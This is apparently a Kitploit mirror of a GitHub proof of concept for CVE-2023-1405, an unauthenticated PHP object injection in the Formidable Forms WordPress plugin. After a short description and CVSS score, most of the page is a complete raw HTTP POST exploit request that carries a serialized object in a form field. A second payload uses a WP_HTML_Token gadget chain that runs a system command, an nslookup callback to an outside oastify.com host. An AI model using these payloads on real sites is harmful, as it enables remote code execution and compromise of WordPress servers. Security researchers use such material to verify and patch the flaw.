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CVE-2023-1405 — Formidable Forms <= 6.1.2 - Unauthenticated PHP Object Injection | Kitploit
Tools/GitHubGitHub/randomrobbiebf/cve-2023-1405
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubrandomrobbiebf/cve-2023-1405

CVE-2023-1405

Formidable Forms <= 6.1.2 - Unauthenticated PHP Object Injection

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11 year agoNot yet reviewed

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CVE-2023-1405

Formidable Forms <= 6.1.2 - Unauthenticated PHP Object Injection

Description:

The Formidable Forms plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 6.1.2 via deserialization of untrusted input from form submissions. This allows unauthenticated attackers to inject a PHP Object. No POP chain is present in the vulnerable plugin. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.

root@kitploit:~
Type: plugin
CVSS Score: 9.8
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE: CVE-2023-1405

POC

root@kitploit:~
POST /wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form HTTP/1.1
Host: kubernetes.docker.internal
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://kubernetes.docker.internal/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
Content-Type: multipart/form-data; boundary=---------------------------343242131629515258773021267392
Content-Length: 1871
Origin: http://kubernetes.docker.internal
Connection: keep-alive
Priority: u=0, i

-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_action"

create
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_id"

1
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_hide_fields_1"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="form_key"

contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[0]"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_submit_entry_1"

5dc418e798
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="_wp_http_referer"

/wp-admin/admin-ajax.php?action=frm_forms_preview&form=contact-form
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[1]"

test
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[2]"

teasads
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[3]"

[email protected]
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[4]"

teasdsda
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_meta[5]"

O:20:"PHP_Object_Injection":0:{}
-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="item_key"


-----------------------------343242131629515258773021267392
Content-Disposition: form-data; name="frm_verify"


-----------------------------343242131629515258773021267392--

You can use this payload also O:13:"WP_HTML_Token":2:{s:13:"bookmark_name";s:53:"nslookup jj603shxad7lmfb20joe5vrjva11pudj.oastify.com";s:10:"on_destroy";s:6:"system";} for Wordpres 6.4.0

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